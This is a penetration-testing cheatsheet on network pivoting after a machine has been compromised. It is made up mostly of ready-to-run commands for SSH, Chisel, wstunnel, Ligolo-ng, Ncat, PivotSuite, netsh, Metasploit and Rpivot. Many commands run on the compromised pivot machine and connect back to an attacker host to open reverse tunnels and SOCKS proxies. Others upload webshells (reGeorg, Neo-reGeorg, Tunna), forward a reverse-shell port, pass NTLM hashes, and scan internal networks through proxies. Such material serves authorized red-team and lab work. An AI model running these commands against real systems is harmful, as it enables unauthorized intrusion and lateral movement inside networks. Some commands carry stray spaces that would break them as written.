

Pivoting

This cheatsheet is built from numerous papers, GitHub repos and GitBook, blogs, HTB boxes and labs, and other resources found on the web or through my experience. This was originally a private page that I made public, so it is possible that I have copy/paste some parts from other places and I forgot to credit or modify. If it the case, you can contact me on my Twitter [@BIWasp_](#).

I will try to put as many links as possible at the end of the page to direct to more complete resources.

Pivoting with SSH

SSH one of the simplest techniques, and one that's built in by default, to perform pivoting. Present by default on Linux and MacOS, **SSH is now integrated in Windows 11 by default!**

Local Port Forwarding

The principle is that the client listens on a port, and anything it receives on that port is sent directly to an SSH server, which forwards the connection to a target server, potentially a different one. This is also useful if you want to access a port that is only open locally on the SSH server (`127.0.0.1` as the destination IP).

All requests made on `127.0.0.1:1080` will be transferred to the machine `$TARGET` via `$PIVOT` :

```
ssh user@ssh_server -L [bind_address:]local_port:destination_host:destination_hostport
ssh user1@$PIVOT -L [127.0.0.1:]1080:$TARGET:80 -N
```

(Reverse) Remote Port Forwarding

In this case, the pivot machine (client) connects to the attacker's machine (server), and a listening port on the attacking machine (i.e. the server) allows the traffic to pass through the SSH tunnel.

- Have a session on the pivot machine
- Launch an ssh server on our machine
- Create a dedicated account without a shell on our machine to limit hackback
- Launch the reverse from the pivot machine
- Request `127.0.0.1:1080` to reach `$TARGET:80`

```
ssh user@ssh_server -R [bind_address:]remote_port:destination_host:destination_hostport
```

```
# On the attacker machine
sudo systemctl start sshd
sudo useradd sshpivot --no-create-home --shell /bin/false
sudo passwd sshpivot

# On the pivot machine
ssh sshpivot@$ATTACKER -R 127.0.0.1:1080:$TARGET:80 -N
```

To be more general, and use the listening port like a socks. Particularly useful for reaching an internal network from a compromised machine connected in reverse to a remote attacking machine.

```
# On the pivot machine
ssh sshpivot@$ATTACKER -R 1080 -N

# On the attacker machine
proxychains4 -q nxc smb $TARGET
```

As an alternative, [3proxy](#) can be used on the pivot machine:

```
chmod u+x socks
./socks '-?'
./socks -p10080 -tstop -d
ssh sshpivot@$ATTACKER -R 127.0.0.1:1080:127.0.0.1:10080 -N
```

SSH Dynamic Port Forwarding

Similar to Local Port Forwarding, but opens a socks proxy to forward everything dynamically.

```
ssh user@ssh_server -D [bind_address:]local_port
ssh user1@$PIVOT -D 127.0.0.1:1080 -N
```

Any service on a target machine behind the pivot can be requested via the proxy:

```
curl --head http://$TARGET --proxy socks5://127.0.0.1:1080
proxychains4 -q nxc smb $TARGET
```

VPN over SSH

Openssh can be used to perform pivoting with a VPN.

1. Choose a subnet that is not present on both sides of the tunnel
 - Current network: `192.168.2.0/24`
 - Target network: `10.42.42.0/24`
 - Created network: `10.43.43.0/30`
2. Authorize **tun device forwarding** : `PermitTunnel yes` in `/etc/ssh/sshd config`
3. Create a tun interface on the pivot machine and our machine (requires **root**)

Solution 1 (not recommended)

Letting openssh create the interfaces itself: implies opening the tunnel as root on our machine (`sudo`) and using the root account of the pivot machine: risk of hackback.

```
# On the attacker machine
sudo ssh root@$PIVOT -w any: any
```

Solution 2 (recommended)

Manual creation and destruction of interfaces.

On the **pivot machine**:

```
sudo ip tuntap add dev tun0 mode tun
sudo ip addr add 10.43.43.1/30 peer 10.43.43.2 dev tun0
sudo ip link set tun0 up

sudo sysctl net.ipv4.conf.default.forwarding=1
```

On the **attacker machine**:

```
sudo ip tuntap add dev tun0 mode tun
sudo ip addr add 10.43.43.2/30 peer 10.43.43.1 dev tun0
sudo ip link set tun0 up
```

```
ssh user1@$PIVOT -w 0:0  
# -w permits to specify the interface numbers
```

Setup NAT on the **pivot machine**:

```
sudo iptables -t nat -A POSTROUTING -s 10.43.43.2 -o eth1 -j MASQUERADE  
# Or  
sudo iptables -t nat -A POSTROUTING -s 10.43.43.2 -d 10.42.42.0/24 -j MASQUERADE
```

To use ARP proxy instead of NAT:

```
sudo sysctl net.ipv4.conf.eth0.proxy_arp=1  
sudo ip neigh add proxy 10.43.43.2 dev eth0
```

Setup route on the attacker machine:

```
sudo ip route add 10.42.42.0/24 via 10.43.43.1
```

sshuttle - Transparent proxy over SSH

[sshuttle](#) is a transparent proxy server that works as VPN over SSH.

It works on: **Linux and MacOS**.

To forward all traffic to the `$TARGET/24` network:

```
sshuttle -r user1@$PIVOT $TARGET/24  
  
# With a RSA key  
sudo python3 -m sshuttle -v -r $PIVOT $TARGET/24 --ssh-cmd 'ssh -i id_rsa'
```

To let sshuttle automatically detect available networks (`-x` allows you to exclude a network)

```
sshuttle -vNr user1@$PIVOT -x $EXCLUDE/24
```

Plink - Ancient Windows SSH agent

Plink (PuTTY Link) is a Windows SSH client, useful on previous Windows version where SSH was not installed by default.

It works like a standard SSH agent. Here a Remote Port Forwarding example:

```
./plink.exe -l $USERNAME -R 1080: $TARGET: 80 $ATTACKER
```

Pivoting with HTTP

Chisel

[Chisel](#) is a fast TCP/UDP tunnel over HTTP that supports SSH. A C# version exists, [SharpChisel](#).

It works on: **Linux, Windows and MacOS.**

Local Port Forwarding

```
# On the pivot machine
chisel server -p 8080 --host $interfaceoListenOn -v

# On the attacker machine
chisel client -v http://$PIVOT: 8080 127.0.0.1:1080: $TARGET: 80
```

Local Port Forwarding + socks proxy

This configuration permits to setup a local socks proxy and tunnel any communication.

```
# On the pivot machine
chisel server -p 8080 --host $interfaceoListenOn --socks5 -v

# On the attacker machine
chisel client -v http://$PIVOT: 8080 127.0.0.1:1080: socks

# Example to pass through
curl -head http://$TARGET -proxy socks5://127.0.0.1:1080
```

Remote Port Forwarding

```
# On the attacker machine
chisel server -p 8888 --host $interface0Listen0n --reverse -v

# On the pivot machine
chisel client -v http://$ATTACKER: 8888 R: 127. 0. 0. 1: 80: $TARGET: 80
```

Reverse socks proxy

```
# On the attacker machine
chisel server -p 8080 --reverse

# On the pivot machine
chisel client $ATTACKER: 8080 R: socks
```

Then, apply the following configuration to Proxychains:

```
socks5      127. 0. 0. 1 1080
```

wstunnel

[wstunnel](#) is a tool that allows pivoting via WebSockets and HTTP/2.

It works on: **Linux, Windows and MacOS.**

Standard socks proxy

Start a WebSocket server on the pivot machine, and open a WebSocket tunnel from the attacker machine to the server.

Additionally, the second command will create a socks5 server listening on port **1080** of the loopback interface and will forward traffic dynamically.

```
# On the pivot machine
wstunnel server wss://[::]:8080

# On the attacker machine
wstunnel client -L socks5://127. 0. 0. 1:1080 wss://$PIVOT: 8080
```

Then, here is an example of usage:

```
curl -x socks5h: //127.0.0.1: 8888 http: //$TARGET
```

Reverse socks proxy

```
# On the attacker machine
wstunnel server wss: //[::]: 443

# On the pivot machine
wstunnel client -R socks5: //0.0.0.0: 1080 wss: //$ATTACKER: 443
```

Then, apply the following configuration to Proxychains on the attacker machine:

```
socks5      127.0.0.1 1080
```

Behind a proxy

In case the client is behind a proxy (for example, a corporate proxy), it can be passed to the client. For example, with the previous command:

```
wstunnel client -R socks5: //0.0.0.0: 1080 wss: //$ATTACKER: 443 -p $USER: $PASS@$proxyURL: $PORT
```

Pivoting in VPN style

VPN Pivot - VPN Tunnel

Presents [here](#), but **no more maintained**.

Same idea as with SSH VPN, but here we use TLS/SSL instead of SSH. It will create a virtual interface (tap) on the attacker machine.

```
# On the attacker machine
sudo pivots -i tun1 -I $newInterfaceIP/24 -p $listeningPort -v

# On the pivot machine
sudo sysctl net.ipv4.conf.default.forwarding=1
sudo pivotc $ATTACKER $listeningPort $targetNetwork
```

```
sudo iptables -t nat -A POSTROUTING -s $ATTACKER -o $INTERFACE -j MASQUERADE
sudo iptables -t nat -A POSTROUTING -s $ATTACKER -d $targetNetwork -j MASQUERADE
```

Ligolo-ng

Ligolo-ng is a tunneling tool that leverages TUN interfaces.

It works on: **Linux, Windows and MacOS.**

Simple tunneling

On the attacker machine, start the listener:

```
# Automatically request LetsEncrypt certificates or use self-signed certificates
./proxy [-autocert | -selfcert] -laddr 0.0.0.0:443
```

On the pivot machine, start the agent:

```
./agent -connect $ATTACKER:443 [-ignore-cert]
```

Then, on the server select the opened session and run the `autoroute` to setup everything automatically. You will have to chose which routes to tunnel, and so on:

```
ligolo-ng » session
[Agent : $SESSION] » autoroute
```

It is then possible to use all your tools without Proxychains or anything else. Everything will be routed through the `tun` interface.

Behind a proxy

In case the client is behind a proxy (for example, a corporate proxy), it can be passed to the client. In this case, the WebSocket mode must be used.

On the attacker machine, start the listener with HTTPS:

```
# Automatically request LetsEncrypt certificates or use self-signed certificates
./proxy [-autocert | -selfcert] -laddr https://0.0.0.0:443
```

On the pivot machine, start the agent and specify the proxy address:


```
./agent -connect https://$ATTACKER:443 -proxy http://$proxyAddr:$proxyPort [-ignore-cert]
```

Double pivoting

This case is useful when you compromised a first target that can contact your server, and you have also compromised a second machine that is able to contact your first target, and another network, which is the final goal. And this second machine is not able to contact your server.

On the attacker machine, start the listener:

```
# Automatically request LetsEncrypt certificates or use self-signed certificates
./proxy [-autocert | -selfcert] -laddr 0.0.0.0:443
```

On the first pivot machine, start the agent:

```
./agent -connect $ATTACKER:443 [-ignore-cert]
```

Then, on the server select the opened session and start a new listener:

```
ligolo-ng » session
[Agent : $SESSION] » listener_add --addr 0.0.0.0:1080 --to 127.0.0.1:11601
```

- The first agent will listen on **0.0.0.0:1080**
- Any connections on this **ip:port** will be relayed to the **11601** TCP local port of the Ligolo-ng daemon.

Then, on the second pivot machine, run the agent and connect it to the first agent:

```
./agent -connect $firstPivot:1080 [-ignore-cert]
```

A second session will appear on the server. Select it, and run the **autoroute** command. You can now access the final network.

Pivoting with TCP/UDP

Ncat – Remote Port Forwarding

It works on: **Linux, Windows and MacOS**.

Using [Ncat](#) in broker mode to accept several clients on our machine :

```
ncat -lv --broker --max-conns 2
```

Then, on the pivot machine, connect to the local network and then to us:

```
ncat -v $ATTACKER 31337 -c 'ncat -v $TARGET 80'
```

```
curl --head http://127.0.0.1:31337
```

PivotSuite

[PivotSuite](#) is a TCP/UDP pivoting toolkit. But **no more maintained**.

It works on: **Linux, Windows and MacOS**, but It needs the Python standard libraries.

On the pivot machine, PivotSuite is able to pass through a corporate proxy with NTLM authentication (and Pass-The-Hash) by adding the following parameters:

```
--ntlm-proxy-ip=$IP --ntlm-proxy-port=$PORT --username=$USERNAME --domain=$DOMAIN [--  
password=$PASSWORD | --hashes=$HASHES]
```

Local Port Forwarding

Just to forward ports on the pivot machine. No client needed, when the server is executed it will start to forward. Useful if the compromised host is directly accessible from our pentest machine.

On the pivot machine:

```
pivotsuite -S -F --server-option=PF --forward-ip=$TARGET --forward-port=80 --server-  
ip=$listeningIP --server-port=8080
```

Dynamic Port Forwarding

On the pivot machine, run socks5:

```
pivotsuite -S -F --server-option=SP --server-ip=$listeningIP --server-port=1080  
  
# To pass through
```

```
curl --head http://$TARGET --proxy socks5: //$PIVOT:1080
```

Reverse Port Forwarding

In this case, the server is executed on the attacker machine, and the pivot machine connect back. Useful if the compromised host is behind a Firewall / NAT and directly not accessible from our pentest machine.

```
# On the attacker machine
pivotsuite -S -W --server-ip $listeningIP --server-port 8080

# Client on the pivot machine for remote port forwarding
pivotsuite -C -O PF -R --local-ip 127.0.0.1 --local-port 9999 --remote-ip $TARGET --remote-port 80 --server-ip $ATTACKER --server-port 8080
```

Reverse Dynamic Port Forwarding

On the attacker machine:

```
pivotsuite -S -W --server-ip $listeningIP --server-port 8080
```

Our server is listening on all interfaces, with random ports: anyone can connect to it from anywhere.

On the pivot machine:

```
pivotsuite -C -O SP --server-ip $ATTACKER --server-port 8080
```

To pass through:

```
curl --head http://$TARGET --proxy socks5: //127.0.0.1:7684
```

Netsh - Pivoting with the Windows firewall

Useful on a Windows pivot box without SSH or other tools. Netsh is the built-in tool utility to manage the interfaces, the firewall, and so on.

On the pivot machine, to allow the target machine to reach the attacker's one. On the "central" machine, all the hit on the port 80 or 4545 will be forward to the `connectaddress` on the specified port:

```
#Forward the port 4545 for the reverse shell, and the 80 for the http server for example
netsh interface portproxy add v4tov4 listenport=4545 connectaddress=$ATTACKER connectport=4545
netsh interface portproxy add v4tov4 listenport=80 connectaddress=$ATTACKER connectport=80

#Correctly open the port on the machine
netsh advfirewall firewall add rule name="PortForwarding 80" dir=in action=allow protocol=TCP
localport=80
netsh advfirewall firewall add rule name="PortForwarding 80" dir=out action=allow
protocol=TCP localport=80
netsh advfirewall firewall add rule name="PortForwarding 4545" dir=in action=allow
protocol=TCP localport=4545
netsh advfirewall firewall add rule name="PortForwarding 4545" dir=out action=allow
protocol=TCP localport=4545
```

Pivoting with Metasploit

Obviously, with a Meterpreter implant it is possible to perform pivoting.

Routing table

Below, an example to setup the Metasploit's routing table. First, use *autoroute* on the Meterpreter session, to add routes:

```
meterpreter > background
msf6 exploit(multi/handler) > use post/multi/manage/autoroute
msf6 post(multi/manage/autoroute) > set SESSION 1
msf6 post(multi/manage/autoroute) > set SUBNET $TARGET
msf6 post(multi/manage/autoroute) > set NETMASK /24
msf6 post(multi/manage/autoroute) > run
```

It can be done manually with:

```
msf6 post(multi/manage/autoroute) > route add $TARGET 255.255.0.0 1
```

Routes can be checked with:

```
msf6 post(multi/manage/autoroute) > route
```

Then, any Metasploit module will be able to use the new routes.

Socks proxies

A socks proxy can be setup with Metasploit.

```
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > set SRVHOST 127.0.0.1
msf6 auxiliary(server/socks_proxy) > set SRVPORT 1080
msf6 auxiliary(server/socks_proxy) > set VERSION 4a
msf6 auxiliary(server/socks_proxy) > run
```

Prefer **socks4a** instead of **socks5** to limit conflicts with other tools.

Then configure Proxychains like this:

```
socks4 127.0.0.1 1080
```

Pour ne pas utiliser Proxychains :

```
curl --head http://10.42.42.2 --proxy socks4a://127.0.0.1:1081
```

Port Forwarding

Commands to execute in a Meterpreter session.

Local Port Forwarding

```
portfwd add -l $localPort -p $remotePort -r $TARGET
```

Remote Port Forwarding

```
portfwd add -R -l $localPort -L $localIP -p $listeningPortOnPivotMachine
```

Double pivoting

We already have a pivot on one machine, we have pwned a second machine on the network, and we want to use it to access a third network.

1. Create a meterpreter payload with the first pivot machine as `LHOST`
2. Put the handler listening on it too
3. Execute the payload on the second machine
4. With the session on the second machine, we can add an autoroute to the next subnet
5. Open a new proxy socks server on a new `SRVPORT`

Rpivot - Pivoting with Python2 and Socks4

[Rpivot](#) is an old tool, **no more maintained**, that simply allows to setup a reverse socks proxy tunnel from the pivot machine to the attacker's one.

The fact that it still runs under Python2.7 with Socks4 can be useful if the pivot machine is old and does not have Python3. A Windows binary is present in the releases.

On the pivot machine, Rpivot is able to pass through a corporate proxy with NTLM authentication (and Pass-The-Hash) by adding the following parameters:

```
--ntlm-proxy-ip $IP --ntlm-proxy-port $PORT --domain $DOMAIN --username $USERNAME [--password $PASSWORD | --hashes $HASHES]
```

```
# On the attacker machine, run the server
python2 server.py --server-port 8080 --server-ip $listeningInterface --proxy-ip 127.0.0.1 --proxy-port 1080
```

```
# On the pivot machine, run the client
python2 client.py --server-ip $ATTACKER --server-port 8080
```

Then, pass through with socks4:

```
curl --head http://$TARGET --proxy socks4://127.0.0.1:1080
```

```
# Or setup Proxychains  
socks4 127.0.0.1 1080
```

You can use a zip archive to deploy on the pivot machine more easily:

```
zip rpivot.zip -r *.py ./ntlm_auth/  
# Or  
7z a -r rpivot.zip *.py ./ntlm_auth/  
  
python2 rpivot.zip server --server-port 8080 --server-ip $listeningInterface --proxy-ip  
127.0.0.1 --proxy-port 1080  
python2 rpivot.zip client --server-ip $ATTACKER --server-port 8080
```

Pivoting with a WebShell

reGeorg / Neo-reGeorg / pivotnacci

[reGeorg](#) and [Neo-reGeorg](#) both permits to open a socks proxy through a WebShell uploaded on a web server. Neo-reGeorg is the evolution.

[pivotnacci](#) is another "fork". It is still useful to know it, for example if the other agents are detected by an EDR.

Both needs Python to be executed. **reGeorg is only compatible with Python2.7, Neo-reGeorg with Python2 and Python3.**

On the pivot machine, upload `tunnel.(aspx|ashx|jsp|php)` to the web server, like a WebShell.

On the attacker machine, open the tunnel

```
python2 reGeorgSocksProxy.py -p 1080 -u https://$PIVOT:443/XXX/tunnel.jsp
```

To bypass socket issues, use the **nosocket** tunnel version:

```
python2 reGeorgSocksProxy.py -l 127.0.0.1 -p 1081 -u  
https://$PIVOT:443/XXX/tunnel.nosocket.php
```

Then, you can use all of your tools by specifying a proxy, for example with Proxychains.

With Neo-reGeorg, it is possible to generate a WebShell with password. Many other options are present, check the help.

```
# Generate the WebShells with a password
python3 neoreg.py generate -k pivotpassword

# After uploading it, connect the attacker machine like this
python3 neoreg.py -k pivotpassword -u https://$PIVOT:443/tunnel.js
```

And with pivotnacci, after dropping the agent:

```
pivotnacci https://$PIVOT/agent.php --password $PASSWORD
```

Tunna

[Tunna](#) is an alternative to the two previous tools. It allows to create a tunnel through a WebShell. It also runs with Python.

Unstable, out of date, not really recommended.

Upload one the WebShell in the repository on the pivot machine, and then, on the attacker machine:

```
python proxy.py -u https://$PIVOT/conn.aspx -l 1080
```

Pivoting with C2

Obviously, all the Command and Control frameworks permit to pivot. Look at their options, generally the commands are similar to [Metasploit](#).

ngrok - Pivoting with the cloud

[ngrok](#) is a web service that allows tunneling and pivoting through their servers. This is a service that has become chargeable and requires registration, but which proved its worth when it was still free.

Many agents are available on the [official GitHub project](#). A Linux binary is present [here](#).

```
# Log into the web service
./ngrok authtoken $TOKEN

# Setup port forwarding on 443
./ngrok http 443
./ngrok tcp 443
```

Tips for pivoting

Use Proxychains

Update `/etc/proxychains4.conf` with the socks type, the IP, and the PORT where the socks proxy is listening:

```
socks5    127.0.0.1 1080
```

And run:

```
proxychains4 curl --head http://$TARGET
```

Run Nmap through Proxychains

Scan a single machine through Proxychains:

```
seq 1 65535 | xargs -P 50 -I port proxychains -q nmap -p port -sT -T4 $TARGET -oG $TARGET --
open --append-output $TARGET -Pn -n
```

Scan an IP range:

```
seq 1 254 | xargs -P 50 -I cpt proxychains -q nmap --top-ports 20 -sT -T4 $RANGE.cpt -oG
$RANGE.0 --open --append-output $RANGE.cpt -Pn -n
```

Obtain a FQDN from an IP

The service [nip.io](#) allows to easily generate a FQDN from a public IP address. Useful when a service cannot reach a simple IP, and you don't want to buy a domain just for a test.

For example, `10.10.10.10` becomes `10.10.10.10.nip.io` .

References

- [Port forwarding - The Hacker Recipes](#)
- [SOCKS proxy - The Hacker Recipes](#)
- [Network Pivoting Techniques - Internal All The Things](#)
- [Reverse SOCKS Proxy Using Chisel — The Easy Way - Vegard Wærp](#)

Revision #6

Created 5 December 2020 06:46:01 by BlackWasp

Updated 26 March 2025 11:34:13 by BlackWasp